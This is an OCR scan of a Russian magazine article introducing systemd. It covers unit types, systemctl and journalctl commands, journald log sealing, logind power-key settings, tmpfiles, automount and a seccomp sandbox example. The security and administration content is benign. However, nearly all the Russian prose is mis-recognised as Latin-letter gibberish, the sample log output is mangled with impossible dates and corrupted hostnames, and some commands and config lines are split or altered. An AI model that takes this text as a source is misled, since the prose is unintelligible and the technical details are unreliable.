KONIMYeCTBa KOrLa-To CTOPOHHUX
cepBuCcoB 1 bubnunotek, 4To
CpPepHecTaTuCcTMYeckomy
JIMHYKCOMZY yXe npobnemMaTnyHo
pa3obpaTbCs B TOHKOCTSAX paboThl
AmcTpubyTuBa.
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EBrenunit 306HuH (execbit.ru)

VCNOJIVH,
KaKuX

HEeMHOIo

-

v
i

=k g e ——

3aAyMaHHbI Kak BCEro JILLb COBPEMEHHas
BbICOKONPOU3BOAUTENbHASA BEPCUS AEMOHA init,
co BpeMeHeM systemd npeBpaTuics B HacTo-
ALKt kombaiH. CerofHa systemd He TonbKo
0TBEYaeT 3a KOPPEKTHbIN 3aMyCck U 0CTAHOBKY
CepBUCOB, HO V1 BbINOJTHAET GYHKLMN HAaCTPOIKH
CUCTEMBI I OKPY)XXEHWS, 0TBEYAET 3a JIOTUH MOJIb-
30BaTesielt, 3a ropsiyee NofkJoYeHUe yCTPOWCTB
(aHanor udev), BbICTyNaeT B Ka4ecTBE MOJIHO-
LLeHHoV 1 bonee NpofiBUHYTOM 3aMeHbl syslog,
cnocobeH ycTaHaBMBaTb CUCTEMHbIE OFPaHU-
YEHWs Ha BO3MOXHOCTM 3aMyCcKaeMblX CEpBUCOB
(MecoyHumual, 3aMoMuHaTL 1 BOCCTaHaBNIMBaTb
COCTOAHME CUCTeMbI (CHIMWOTLI) M Aaxe BKJIOYa-
eT B cebs nonHoueHHbIN Beb-cepBep 1 reHepaTtop
QR-kopoB!

370 [laneKo He MOJIHbIN CMUCOK BO3MOXKHOCTEN
systemd, noaToMy pazobpaTbCsi B HEM, UCMONb3YS
BCErO0 JIMLLb MaHbl M 0pULMaNbHYI0 JOKYMEH-
Tauuto, BecbMa npobnemaTnyHo. YTobbl fatb
Tebe X0Tb KaKoW-T0o BBOHbIN KYpC B 3TOT, yXe
CTaBLUNI CTAaHJAPTOM B Mupe Linux, kombaiiH,
Mbl 1 MOAFOTOBUAN HaWy cTaTbto. OHa OTHIOAb
He npeTeHAyeT Ha nosiHoTy (3geck notpebosa-
nachk 6bl Lenas KHKrall, Ho MoXeT cTaTb OT/INY-
HbIM BBE[JEHWEM U CIPABOYHMKOM A5 TeX, Y KOro
NpoCTO HET BpeMEHW pa3bupaTbCs BO BCEM,
4TO HaKOAWN «be3yMHbIN [ToTTepuHr».

MTak, uTo xe Takoe systemd? [paBunbHee Bcero
0XapakTepu3oBaTb ero Kak Habop cepsucos
¥ YTUIIUT, 0TBEYAIOLLMX 33 0bLLee COCTOSHME
Linux-cucTeMbl, HaymHas oT 3anycka u ocTa-

HOBKM CEPBMCOB U 3aKaH4YnBas N0r1MpoBaHueM
CUCTEMHBIX COBBITUI N aBTOMOHTUPOBAHUEM
CMeHHbIX HakonuTenen. Jlerye Bcero NoHATL
370, NPOCTO NPUHSB TOT GaKT, YTO B COBPEMEH-
HbIX AMCTpUbyTUBax (Taknx kak Fedora n SUSE,
Ho He Ubuntu) Teneps HeT init, syslog, cron, udey,
inetd, tcp_wrappers, watchdogd, ConsoleKit,
acpid, a UX MecTo 1 MeCTO MHOTWX ApYrux
Knaccuyeckux nHcTpymenTos (halt, shutdown,
runlevel, telinit) saHnMaeT systemd ¢ eiHbIM UH-
TepdeiicoM ynpaBneHus, eAUHbIM XpaHUIULLEM
KOHUroB 1 0AHON KOLL0BOW 6a30MA.

[naBHoii 3apayeit systemd sBnsieTcs 3anyck
1 KOpPPEKTHas 0CcTaHoBKa cepaucos (nemoHos.

B aToM feney systemd ecTb cpa3y Tpu Ko3bips,
KOTOpbIE CYLeCTBEHHO OTANYAIOT €ro OT APYrux
CUCTEM UHWMLMANU3aLMN: AeKNapaTUBHbIN A3bIK
onuncaHus, HOBbI MNOAXO[ K Y4YeTy 3aBUCUMOCTEN
CepBUCOB W OTNOXEHHbI 3anyck. [leknapatus-
HbI/ f13bIK MCMOMNbB3YeTCs A5 ONUCaHUS TOrO,

4T0 HeobXxoAMMO CAeNaTh A5 3anycka cepauca.
B oTnnune ot 06bIuHbIX Shell-ckpunTos, nc-
nosib3yeMblX B CTaHAAPTHbIX CUCTEMAX UHWLIWA-
NN3aLnK, OH NonHocTblo obpabaTbiBaeTcs caMmm
LEeMOHOM systemd, 4To cyLeCTBEHHO coKpallaeT
obLee BpeMs 3arpy3Kku U n3baBaseT oT Heob-
XOAMMOCTU UCMONb30BATH BHELIHUE YTUNUTSI,
Takue Kak echo, cat, sed, grep n awk.

HoBbI/ NofX0f K y4eTy 3aBUCUMOCTEN, No3a-
MMCTBOBaHHbI Yy Mac 0S X, ocHoBaH He Ha 3aBu-
CUMOCTV AeMOHOB APYT OT ApYra, Kak 3T0 CAesaHo
B ipyrux init-cuctemax, a Ha 3aBUCUMOCTH fie-
MOHOB OT PECYPCOB, B YaCTHOCTW COKeT-daiinos,
npuHaaiexalmx Apyrum fgemMoHam. Tak, BMecTo
TOro 4T0ObLI 3aMyckaTb nocnefoBaTenbHo syslog,
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McnonuH, Kaknx HeMHoro

Logs begin at Mon, 2902-11-10 B3:B4:44 YEKT,
Moy 19 83:B4:44 localhost systend= journalll141):
Hov 19 A%:Bd:ad localhost kernel
FMow 19 B3:8d4:44 localhoat kernsl
Mow 19 B3:84:44 localhost kernel
Moy 19 A3:Ba:dd localhost kernel:
Moy 19 B3:B4a:ad localhost kernel
Mew 19 B3:84:44 localbast kernel:
Mow 19 A3:Bd:d4 localhost kernel:
Moy 19 B3:84:44 [ocalhost kernel
Mow 19 B384 48 localhost keroel: O] present
Mow 19 B3P ad localhost kernel: OA)
Mow 19 83:84d:dd localhost Enrnel

Imitializing
Initializing

Command 1 ine:

Bi05-ed2d

ASUSTek Computer [MC
wB2R: update [sen ExPOCRRORR-2-BRRRTTIT] uvsable == ressrved
Mo 19 B3:EA:44 localhest kernal: eEER: rescve [een D-ERRSERER-S-000f1117] usable

end al Mon, 2912-11-19 83:18:29 YEET. 5
Rllowing runtiee journal Tiles to grow to 1B8.3H
cgroup subvsys couset

cgroup subays Cpu

Linue version 3.5.4-1-ARCH ({obiasBT-POHA-LY) igcc wersion 4.7
rool=/oev/sdab ro

sB2R: Bl0S-provided phigalcal BRY sap

[=en D-00DGE0R002B00000- D 00000003000 fuff] usable
Bi05-e820: [mew EBABRERRATTTODRAN-DxRABARDRATTIIITI]] reserve
MY IEwecute Dissble) protection: sctive

ESARFESERF . BIOS #83 -l il |

BbiBoa KoMaHabl journalctl

a 3aTeM cron, KOoTopbIiA HyxjaeTcs B syslog,
MoCKoJNIbKY TpebyeT Hanmyus ero coket-danna,
systemd npocTo co3faeT 3TOT cokeT-daiin 3a-
paHee 1 3anyckaeT oba cepBuca OAHOBPEMEHHO.
Mpu HanU4uMmn 60NbLLIOTO KONUYECTBA CUCTEMHBIX
LeMOHOB TaKOM NOAX0A JAeT MPOCTO KOJ0CCab-
Hbl BBIUTPbILL B CKOPOCTM 3arpy3ku.

Ha ToM e npuHLUWMNe oCHOBaHa v cucTeMa
OT/IOXKEHHOT0 3anycka. [[ie ToNbKO BO3MOXHO,
systemd cTapaeTcs 0TNOXWUTb MOMEHT 3anycka
[eMOHa [10 TeX nop, Noka B HEM He BO3HWUKHET
peanbHas HeobxoanmocTb. Hanpumep, cepeuc
neyaTu cups bygeT 3anylueH ToNIbKo TOTAa, Koraa
OAHO M3 MpUNoXeHuit nonpobyet 06paTuTthbes
K ero cokeT-danny unv ceteBoMy nopty. lemoH
systemd byneT camMocTosTeNbHO CAyLWaTh
CeTeBoOV MOPT M B MOMEHT NOAKIIOYEHUS K HEMY
3anycTuT cups (Tak Xe, Kak 370 genaet inetd).
Brnarogaps sToMy NosHOLEHHbIN €CKTOM Ha 0OC-
HoBe systemd ypaeTcs 3arpy3anTb bykBanbHo
33 HECKOJIbKO CeKYHJ, 0[iHaKo HONbLIMHCTBO cep-
BICOB B 3TOT MOMEHT 0CTAlOTCA He3anyLeHHbIMN.

OyeHb BaXHo, 4To B cBOEM paboTe systemd
3a4encTByeT MHOMMe BO3MOXHOCTK sgpa Linux
1 BPYrX KOMNOHEHTOB ANCTpMbyTUBa. Systemd
no3BOJISET 33[1aTh OrPaHNYeHNs LEMOHA
Ha pecypchbl C MOMOLLbI0 CJroups, U3MeHNUTb ero
npUopuTeT MK 3acTaBUTL paboTaTb Bo BpeMs
npocToeB npoueccopa. C noMoLibio HoBeliLen
TEXHOJIOrMK SeCCOMP CTAHOBUTCSH BO3MOXKHbIM
OrpaHUYnTb AeMOH B CUCTEMHBbIX BbI30BaX, MoMe-
CTWB €ro B necoyHuuy. Takxe systemd nossonset
aBTOMaTWUYeCKM BbINOJHATbL Takie onepauum,
Kak nepesanyck fleMoHa B c/lyyae nafeHus
WAW ero 3anyck B onpefeeHHble MPOMeXyTKM
BpemeHn (aHanor cron). Bee aTo peanusyetcs
CTaHAapTHbIMW cpeAcTBaMu, be3 ncnonb3oBaHus
KaKMX-1MB0 BHELIHNX KOMaH[ U CKPUMTOB.

BTopas BaxHas cocTaBnsiowas systemd —
370 ieMOH journald, BICTynatLWmii B poau
NOJNHOLLEHHO 3aMeHbl syslog. Ero 3agaya — pe-
WKUTb NpobaeMbl CUCTEM NIOTUPOBAHMUS MPOLLbIX
MOKOJIEHWIA: BBEL,EHO CTPOroe popMaTupoBaHue
KYPHalbHbIX CO0DLLEHUN, KpunTorpadpuyeckas
3alyMTa N0roB v NOATBEPXAEHNE JOCTOBEPHOCTH
MNCTOYHMKa coobuieHnit. Bece coobuieHns no-
najatoT B journald B BuAe nap «kao4=3HayeHune»
C BO3MOXHOCTbIO NMPUKpenneHns GUHapHbIx
LaHHbIX (HanpuMep, 4NS BKIOYEHNS B OTYET core-
LaMI0B), UCTOYHMK MOATBEPKAAETCS C MOMOLLbIO
MexaHu3Ma Cgroups 1 cucTeM KoHTpons systemd.

Ocoboe MecTo B journald 3aHuMaeT kpunTo-
rpaduyeckas cucTeMa, 0CHOBAHHAsH Ha TOM e
MPUHLMME, 4TO U CUCTEMA KOHTPOJIS Bepcui git.
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3a KaX/0/1 3aMnCbio 3aKpenseTcs Xell, 0T KoTo-
poro byayT 3aBUCETb XeLUW BCEX NOCefyOLUX 3a-
nucen. iMes aTanoHHbIN HavanbHbIN XeL, cucTema
CMOXeT NPOBEPUTb NIErNTUMHOCTb BCEX 3anuceit
XKYPHanNa, Tak YTo, Aaxe eciin B3NOMLLMK U3MEHNT
10TV A1 COKPbLITUS CBOEN AedTeNbHOCTH, aAMUHN-
CTPaTOp CMOXET NIErKO BbIIBUTL NMOALESKY.

Systemd Bkito4aeT B cebs MeEHe[Kep Nosb30-
BaTeNbCKWX ceccui logind, oTBevatowwnin 3a pop-
MWUPOBaHWe NoJib30BaTENbCKOr0 OKPYXKeHNS,
[0CTYN NoJIb30BaTeNei K NPUBMAETMPOBaHHbLIM
onepaLuaM 1 AaHHbIM 1 pearupoBaHue Ha BKJto-
YeHWe NUTaHWs U Takne onepawLnm, Kak yxop
cucTeMbl B COH U rnbepHauwio. B cocTas systemd
BXOAAT AeMoHbl timedated, localed n hostnamed,
KOTOpbIe 0TBEYAIOT 338 U3MEHEHWE BPEMEHMU,
NOKANU N UMEHM XOCTa U3 BHELIHUX KOHUrypa-
TopoB. C HepfaBHUX nop B nakeT systemd-tools
Tak)XXe BXOAWT AeMoH udev, 0TBEYaLLUIA 3a T0-
psiyee NofKJo4eHne yCTPOICTB 1 NpaBuIibHOe
pacrnosHaBaHue obopyfoBaHus.

KAK C 3TUM YINPABUTHCA?

HecMoTps Ha 06Lyt0 CNOXHOCTL 1 06UNKne BO3-
MOXHOCTel, systemd L0BONBLHO NPOCT B Ha-
CTpoiike u ynpaBaeHnu. DakTuyeckn Tol MOXeLb
He NoJj03peBaTh 0 ero CyL|eCTBOBaHUM, TOTAA
Kak cucTeMa byaet paboTaTb NpekpacHo, Bo
BPEMS 3arpy3Kun 3anycTATCA TONbKO HYXKHbIe
CepBuChl, @ Apyrve byAyT 3anyLeHbl No Mepe Ha-
nobHocTu. IT0 KAloyeBas ocobeHHoCTb systemd
KaK NOHOCTbI0 aBTOMATU3MPOBaHHOW YMHOWA
cucTeMsbl. TeM He MeHee B OPC-MaXopHbIX
CUTYyaLMsX MOXeT NOHaA0bUTbCS BMeLLaTeNbCTBO
nosiib3oBaTenNs, v 34ecb 6e3 HeKoTopPoii TEOpUK
1 HOBbIX 3HaHWI He 060ATHCH.

KnioueBbIM aneMeHTOM systemd sBnsioTCs
toHUTHI (unit), KoTopble rpy6o MOXHO OxapakTepu-
30BaTh Kak HEKWIA aHaIOT CTAapTOBbIX CKPUM-

TOB. 3A€Cb OHYM SBASIOTCS CKOPEE NOTUYECKUM
3/IEMEHTOM, ONUCHIBAOLLNM HEKYIO CTaANIO
paboTbl cuctembl. OHUTBI OMKHBI UMETL CTPOTO
onpepAeneHHbI TUn:

o Cepsuc|(.service):cTangapTHbIN 1eMOH, TaKoi
Kakapachewunucron.

o Coket(.socket): ceTeBble unu dpain-coketsl,
KOTOpbIE MOTYT OMUCBIBaTL Gals v nopT,
npv obpalleHnn K KoTopoMy Npon3oiaeT 3a-
NycKyka3aHHoro cepenca. PakTU4ecKy HyXHbl
NpoCcTo ANATOro, 4T06bl CEPBUCHI MOTIM UMETb
X B Ka4yeCcTBe 3aBUCUMOCTU, BMECTO peasibHbIX
CepBMUCOB.

e YcTpoicTso (.device): noboe ycTpoiicTo B Cu-
cTeMe. Micnonb3yeTcs And akTMBaLMM KaKoro-
n1bo toHUTa NPU NOAKITIOYEHNM XKeNe3KMN.

» ToykaMOHTMpPOBaHUA (.mount): TOYKM MOHTU-
poBaHus 1 dannoBble CUCTEMbI, MOLKIIIOYae-
Mble Ha 0CHOBe aHanu3a /etc/fstab.

e llenn [.target]:normqecxmﬁ IOHUT, UMetoLL U
TOT)KE CMbICJ1, 4TO M «ypOBEHb 3anycka» (run-
level) B cTaHpapTHOM init.

3T0 OCHOBHbIE TUMbI IOHUTOB, MOMUMO KOTOPbIX
TakXe [OCTYMHbI time-1HNUTbI AN aKTUBaLWUK
cobbiThii no TaitMepy (B cTune cron), swap-oHNTLI
4715 nofKtoYeHus csona v path-toHNUTLI, No-
3BONSAKLME 334aTb PeakLuuto Ha cobbiTus inotify,
Takue Kak nosiBseHue onpegeneHHoro danna.
Bce 1oHWUTHI NpefcTaBnsioT cobol onucaHue
Ha cneuuanbHOM AeKNapaTUBHOM A3biKe, pac-
nonoxeHHoe B paine c COOTBETCTBYIOLYMM pac-
wnpeHreM BHyTpy kaTanoros /usr/lib/systemd/
system/ u /etc/systemd/system/. He bega, eciu
Tebe 3T0 BCe KaXKeTCA HECKOSIbKO HEMOHATHbIM,
Tak Kak B 06bIYHOM XW3HM Thl, CKOpee Bcero, by-
Lellb UMeTb Ae0 TONTbKO C CEPBMCaMU, TOYKAMK
MOHTWMPOBAHUS W LIeNIIMU, @ 3a COrNIacOBaHHOM
paboToM BCex 0CTaNbHbIX HUTOB ByfeT cnefunTsb
cucTema.

YnpaBneHue BceMu loHMTaMu B systemd npo-
MCXOAMT C MOMOLLbIO eMHOM KOMaHbl systemctl.
Hanpumep, 4Tobbl yBUAETL CNNCOK aKTUBHBbIX
JOHUTOB, 3aMyCTV KOMaHAy 6e3 apryMeHTOB:

$ systemctl

B cnucke Tbl [ONIKEH YBUAETb CEPBHCHI,
YCTPOICTBA, TOYKM MOHTUPOBAHUS U NpoYee.
Hanbonee 3HaunMble KONOHKN 34eCb — 3T0 Nep-
Basi M YeTBEpTas, KOTOPbIE COAEPXKAT UMS IOHUTa
nero cTatyc: plugged gns yctpoicts, mounted

FTAPAHTUA HEU3MEHHOCTW J1IOIOB

® CpaBHeHue
cucteM
ZCUITUEY EETITT

MexaHusM Forward Secure Sealing, peanusoBaHHbIi B systemd, npusBaH

ystemd, upstart
n SysVinit—
Opointer.de/blog/
projects/why.html

rapaHTMpoBaTb HEU3MEHHOCTb JIOTOB 1 HE MO3BOJINTb 3/10YMbILIJIEHHUKY B Cly4ae
yCrelwHoii aTak1 Ha CUCTeMy MOAMEHUTbL 3anucK B siore (TakMM 06pa3oM, XKypHan
MOXHO YaNNTb LLeJIMKOM, HO HeNb35l TAWHO U3MEHWUTb MU YAAaNUTb OTAENbHbIE
3anucu). CyTb TexHonornu FSS 3akntoyaeTtcs B UCNONb30BaHUN METOL0B
KpUnTorpaguu ¢ oTKPbITHIM KJTHYOM M GOPMUPOBAHNM MO LLeNOYKe NPOBEPOYHbIX

Xelwen ong Bcex 3anucen nora.
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wl-cmnf ig. mant

Pyi-orn | 0ol BN

top  moant

mins . sartomout

> systemct] status deron

Loaded:
Actlive: & X |
Haim PID: 2919 {crond)

3

deron,service = Perlodic Command Scheduler
loaded {/usr/lib/sysiemd/system/dcron.service; enabled)
f since Hom, 2012-11-19 B4:89:15 YEKT: 13h ago

Coroup: name=systemd:/system/dcron.service
L 2919 Jusr/sbin/crond -5 -1 info

Cnu1coK BCex OHUTOB CUCTEMbI

L0151 TOYeK MOHTMPOBAHMS, running s CEpBMCOB
1 Tak fanee. Y1obbl yBUAETb IOHWTHI, 3aBEPLUNB-
wwecs ¢ ownbkoit [ynan Apache, Hanpumep),
MOXHO MCMOb30BaTh TaKyo KOMaHAY:

$ systemctl --failed

Y706l y3HATH CTaTyC paboThl OHMTA, BOCMONb-
3yiica KoMaHaom status:

$ systemctl status nginx
MoNy4nTb CNMCOK BCEX IOHUTOB MOXKHO Tak:
$ systemctl list-unit-files

Kak 1 B ciiyyae ¢ 00bI4HBIM init, OHUTBI
MOXHO 3anyckaTb (koMaHaa start), octaHasnu-
BaTh (stop), nepesanyckaTs (restart), Bko4ats
npu 3arpyske (enable) v Boikniouats (disable).
Bce 370 AenaeTcs TOYHO Tak Xe, Kak paHblue,
33 UCKJTIOYEeHMEM TOTO, YTO Tenepb HEO0OXOANMO
HabupaTb systemctl BMecTo service:

$ sudo systemctl start nginx

KcTatu, bnarogaps Tomy, 4to systemctl nome-
LaeT KaXAbl/ 3anyCKaeMblil CepBUC B CBOI KOH-
TPOJIbHYIO FPyMMny, KOTOpasi pacnpoCcTpaHsaeTcs
Ha BCeX NMOTOMKOB W BbINTY U3 KOTOPOMN HeNb3s,
MOXHO He BeCrnoKONUTbLCS, YTO NP 3aBepLIEHUN
cepBWca B CUCTEMe OCTaHYTCs ero cupoTsl. Mox-
HO, HampuMep, CMOKOWMHO YOUTb CEPBUC U He UC-
KaTb ero feTeHblWwen:

$ sudo systemctl kill nginx

Mepexod MeXAy ypOBHAMM 3amycka Tenepb
NPOMUCXOANT Tak:

$ sudo systemctl isolate «
runlevel3.target
$ sudo systemctl isolate «
runlevel5.target

CraTyc peMoHa cron

HACTPOWNKWN, ABTOMOHTMPOBAHWE
W YNPABJIEHWE MUTAHWUEM
Kak s yxe roBopui, Ha 3arpy3ke cucTeMsi

v ynpaeneHun cepenucamm pabota systemd He 3a-
kaHuuBaeTcs. Hanpumep, systemd Tenepb nonHo-
CTblo 0TBEYAET 3a yNpaBeHNe UMEHEM X0CTa,
NI0Kanblo, HACTPOMKaMM KN1aBMaTypbl U BPEMEHMU.
Mo3ToMy HacTpoiika COOTBETCTBYIOLL WX NapaMe-
TPOB Tenepb A0JKHA NPOU3BOANTLCS Tak:

¢ WNmsxocTa:

$ sudo hostnamectl set-hostname
myhostname

o Jlokansb:

$ sudo localectl set-locale «
LANG="ru_RU.UTF-8"

* Knasuartypa(paboTaeTB OTHOWEHNN KaK KOH-
COMU, TaK M UKCOB):

$ localectl set-keymap ru
e YacoBoiinosnc:

$ timedatectl set-timezone «
Europe/Moscow

Kak 1 B cnyyae ¢ 00bI4HBIM init, OHATHI
systemd TakXe 0TBEYaT 3@ MOHTUPOBaHMe daii-
JI0BbIX CUCTEM, 0fjHaKo 61arofaps BO3MOXKHOCTU
OT/I0XKEHHOT0 MOHTUPOBAHUS TEMEPb Mbl MOXKEM
N1erko LObNUTLCH aBTOMOHTUPOBAHMS 110600
HecucTeMHoro pasgena, npocTo gobasms B /etc/
fstab onuuio x-systemd.automount. Hanpuwmep:

/dev/sda7 /home ext4 noauto, «
x-systemd.automount 0 1

Pasgen /home 6yfeT cMOHTMPOBAH TOJILKO TOMAa,
Korfa OH peasnbHo NoHafobuTcs. ABTOMaTUYeCKU
noAkn4nTb ToMa LVM npu 3arpyske Tenepb
MOXHO, MPOCTO aKTUBMPOBAB CEPBHUC lvm:

BbiBop systemctl
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$ sudo systemctl enable lvm
$ sudo systemctl enable lvm-on-crypt

HacTpouTb ynpaBrieHVe NUTaHUEM TaKxXe
MOXHO C nomouybto systemd (a TouHee, ero gemo-
Ha logind), 6e3 3ageiicTBoBaHus acpid u pm-utils.
HanpuMep, 4TobbI HAaCTPOUTL YX0[4 B CNALLUIA
pexuM nocie HaxaTtus KHonkn «Power», gocTta-
TOYHO [0HaBMTL CrieAyioLLyIo CTPOKY B daiin /etc/
systemd/logind.conf:

HandlePowerKey=suspend

BMecTo suspend Takxxe MOXHO UCMONb30-
BaTb [ipyrue 3HauyeHums: ignore — nponycTuThb,
poweroff — oTkno4nThL NUTaHKe, reboot —
nepesarpysutb, halt — Bbiko4nTh, suspend —
cnsawmii pexum, hibernate — rny6okuin con
nnn kexec — 3arpyska Apyroro s4pa; BMecto
HandlePowerKey — Takue cobbiTus:
¢ HandleSuspendKey —HaxaTne kHonku «Cns-

Wwuit pexum» [moymonyanuio suspend);

e HandleHibernateKey—HaxaTtue kHonku

«[ny6okuit coH» (noymonyanuio hibernate);
e HandleLidSwitch —3akpbiTuie KpbILLKK HOY T-

6yka (noymonyaHnuio suspend).

Ecnn Heobxoaumo 3anycTnTb Kakue-nnbo
KOMaHzbl B MOMEHT yX04a B CoH / npobyxaeHns
(HanpuMep, ocTaHOBKa ayfMoNpourpeiBaTens,
CUHXPOHU3aLMs faHHbIX, 3aKPbITUE HECOBME-
CTUMbIX CO CMIALUM PEXMUMOM MPUIOXKEHMN),
MOXHO UCMOb30BaTh CKPUMThI, pa3MellaemMbie
B Katanore /systemd/system-sleep/. CkpunTel
MOTYT MEeTb MPON3BOJIbHOE UMS, HO LOJKHBI
obpabaTbiBaTh [jBa aprymMeHTa: nepBbli — pre
WAK post, CUTHaNU3MPYIOLLUIA O TOM, 3aCbl-
naeT M MaluMHa WKW BbIXOAUT U3 CHa, W BTO-
poit — suspend nnu hibernate, obo3Havatowni
ncnosb3yeMblid pexxum cHa. 06bluHo npu obo-
MX peXXuMax ciefyeT BbINMOAHUTb OAHU 1 Te
K€ KOMaH/bl, NO3TOMY B KayeCTBe 3aroTOBKM
L7151 CKPUNTOB MOXKHO MCMOMb30BaTh Ceayto-
WK WabnoH:

# vi /usr/lib/systemd/system-sleep/
example.sh
#!/bin/sh
case $1/%$2 in
pre/*)
# KomaHgbl, BbiNoJHAEMblE 0. ..
55
post/*)
# KomaHgpl, BbiMoJHAEMble nocne...
35
esac
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McnonuH, Kaknx HeMHoro

MpoCTO NPONMLLM HYXXHbIE KOMaHAbl B CO-
0TBETCTBYIOLLMX BI0KaX, HO UMEN B BUAY,
4TO MPU HANMYUN HECKONIbKMX CKPUNTOB UX 3a-
nyck byneT nponssefieH ofHOBpeMeHHo. KcTaTy,
3aBepLaTb paboTy cMCTEMBI, @ TakXxe nepe-
BOJMTb €€ B PA3JINYHble PEXXNUMbI U3 KOHCOTU
Tenepb CJeAyeT C NOMOLLbI0 TaKUX KOMaHA (xoTs
HUKTO He 3anpeLLaeT NCnonb30BaTh Knaccuye-
ckue reboot, poweroff, halt u pm-suspend):

systemctl reboot
systemctl poweroff
systemctl halt
systemctl suspend
systemctl hibernate

H O H

Ecnu e TpebyeTcs BEINOAHWTL ONpepeneH-
Hbl/i HAOOpP KOMaHZ BO BpeMs 3arpy3Kku, To 370
MOXHO cfienaTb AByMs cnocobamu. Mepsbiit
nofOMAeT B TOM C/lyyae, eC/in ecTb Heobxoau-
MOCTb 3aMNWCH, YTEHWUS UIN YAANIEHNS KaKNX-nbo
daitnos. OH 0CHOBaH Ha MCMOAb30BaAHUN IOHNTa
tmpfiles, KoTopbIVi BbINONHSAETCA NpU cTapTe
CUCTEMbI U LeNCTBYET Ha OCHOBE KOHGUrypaLu-
OHHbIX $aitf0B, pacnosioXeHHbIX B KaTanore /etc/
tmpfiles.d/. Hanpumep, ecnn Tebe Heobxogumo
Npu 3arpy3ske BbINONHUTbL KOMaHAy «echo USBE >
/proc/acpi/wakeup», oTkntoyatoLyio npobyxae-
HWe KoMna npwu noacoefnHennn USB-ycTpoicTs,
TO Tl MPOCTO MOXeELLb co3aaTh daiin /etc/
tmpfiles.d/disable-usbh-wake.conf, cogepxalinit
TaKyl CTPOKY:

# vi /etc/tmpfiles.d/disable-usb-wake.«—
conf
w /proc/acpi/wakeup - - - - USBE

Ecan Tpe6yeTc9 3anycK KoMaHp, npnaeT-
Cq Co34aTb HOBbIN KOHUT TUNa cepBuc no BcemM
npasunam systemd. K cyacTbio, coenaTtb 31O ro-
pa3fo npole, 4eM HanncaTb CTapTOBbIl?I cKkpunt
onsa 00bIYHbIX CUCTEM MHUUMann3aynn:

# vi /etc/systemd/system/rc-local.«
service

[Unit]

Description=/etc/rc.local compatibility
[Service]

Type=oneshot
ExecStart=KOMAHOA_WIU_NYTb_A0_CKPUMTA
RemainAfterExit=yes

[Install]

WantedBy=multi-user.target

BkntouaTb ero 3anyck BpyuHyto He noTpe-
ByeTcs, Tak Kak B KoHLe daiina 4eTko ykasaHo,
4TO OH A0JKeH BbITh 3anyLieH Ha YpoBHE 3anycka
3 (multi-user.target).

Kak 51 yxe roBopun, naket systemd Bkntoyaet

B cebs TakXXe AeMOH XypHanupoBaHus journald.
/' x0TS OH U MOXET COCyLLeCcTBOBaTL PAOM

C pYroi CUCTEMOW JIOFOB, 3HaTb, Kak C HUM
obpawatbea, byaeT none3Ho xoTs Obl NOTOMY,
4TO UCMONB30BaTb ero yf00Hee, YeM TOT Xe
syslog. [1ns 4TeHus Bcero XypHana fOCTaTONHO
BbIMOJHWUTL KOMaHAY journalctl:

$ sudo journalctl

B 3aToM cnyyae ero BbiBog OyAeT Mano yem
OT/INYaTLCA OT BbIBOAA KOMaHAbl «cat /var/log/

messages». OfHaKo, NPUMeHNB pa3nuyHbie Gpna-
TV 1 OMLWM, Mbl MOXXEM KOHKPETU3MPOBATb €ro
BbIBOJ. Hanpumep, yka3as B KayecTBe apryMeHTa
NyTb ;O KOMaHAbI, MOXXHO MONYYNTb Ha 3KPaH
TOJIbKO €€ Co0bLeHus:

$ sudo journalctl /usr/lib/systemd/systemd
Mnwn coobuieruns, cBizaHHble C yCTPONCTBOM:

$ sudo journalctl /dev/sda

Mnu coobuieHns onpefeneHHoro loHMTa:

$ sudo journalctl -u nginx

3Ty BO3MOXHOCTb, KCTaTH, yA06HO MCNOb30BaTh
ans nebara ckpunTos cHa/nNpobyxaeHus:

$ sudo journalctl -u systemd-suspend

YkazaB ¢nar '-f', MOXXHO 3aCTaBUTb KOMaHAY Bbl-
BOJMTb COOBLLEHNS MO MEPE UX NOCTYNAEHUS:

$ sudo journalctl -f

Korpa systemd 6611 nHTerpupoBsaH B Mol obu-
Mblit ArchLinux, s ucnyrancs, 4To Tenepb npo-
cToTe M yRobCcTBY ANCTPUBYTMBA NPUAET KOHeL,
0fHakKo, KaK BbIICHWUI0Ch, HECMOTPS Ha CBOO
MOHCTPYO3HOCTb, HOBbIW JeMOH OKa3ancs

Ha yauBNEeHWe NpocT 1 yf06€eH B UCMONIb30BaHUY,
a ero MAeoNorus BNoJjiHe COOTBETCTBYET NPUHLIN-
nam UNIX, korga bonblas cuctema pasbusaetcs
Ha MHOXeCTBO HE3aBMUCUMbIX KOMMOHEHTOB. 3T

U30JIMPOBAHHbIE OKPYXXEHUA AJ11 3AMTYCKAEMbIX CEPBMCOB

® JleHHapr Mor-
Tepur (Lennart
Poettering) —

COTPYAHUK
KoMnaHuu Red Hat,
CO3/aBLIKIA B CBOE

Systemd nossonsieT obecneynTb M30JALUI0 CUCTEMHbIX BbI30BOB
AN 3anycKaeMblX Yepe3 Hero npoueccos. I'Ipleep noMelleHusa
npouecca B necovyHuLy:

[Service]

ExecStart=/bin/echo "I am in a sandbox"
SystemCallFilter=brk mmap access open fstat close «
read fstat mprotect arch_prctl munmap write

B otnuuune ot AppArmor unu SELinux, TpebyeMblie orpaHuyYeHus
3a/al0TCs Ha YPOBHE 3aLLULLAEMOr0 NPUIIOXKEHUS, @ He Yepes
BHeLIHWe orpaHuyeHus. Tak, nporpaMma 3apaHee obbasnser
CMUCOK CUCTEMHbIX BbI30BOB, KOTOpble byayT ucnonb3oBaThbes.
Ecnun 3noyMbilineHHWK N3-3a YA3BUMOCTH B MPOrpaMMe NonyymT
BO3MOXHOCTb BbIMOJIHUTb MPOU3BOJIbHBIN KO, HE06BABNEHHbIE
CUCTEMHbIe BbI30Bbl 0OCTAHOBUT MHTErpMpoBaHHas B systemd
cuctema seccomp filter (punbTpbl 6esonacHoro BbiyuceHns).

ABTOPCKUIA MACTEP-KJIACC N0 ONTUMU3ALIMN HACTPOEK SYSTEMD

JleHHapT MoTTepuHr nofroToBMA pyKoBoACTBO (goo.gl/1KGeW),

B KOTOPOM COepXaTca peKoMeHAaL UM 0 TOM, Kak COKpaTUTb Ha
cTaHBapTHOM HoyTbyke c SSD-HakonuTeneM BpeMs 3arpysku
[MCTpUbyTUBa A0 MeHee YeM ABYX CeKYHA. B yacTHocTwy,
JleHHapT npepnaraeT 0TKa3aTbCs OT MCMOJIb30BAHUS KTAXKENbIX»
KOMMOHEHTOB CUCTEMBI, TaKux Kak LVM, SELinux (onuus sgpa se-

linux=0), nporpamMmHbiit RAID, wudposanue, Plymouth (plymouth.

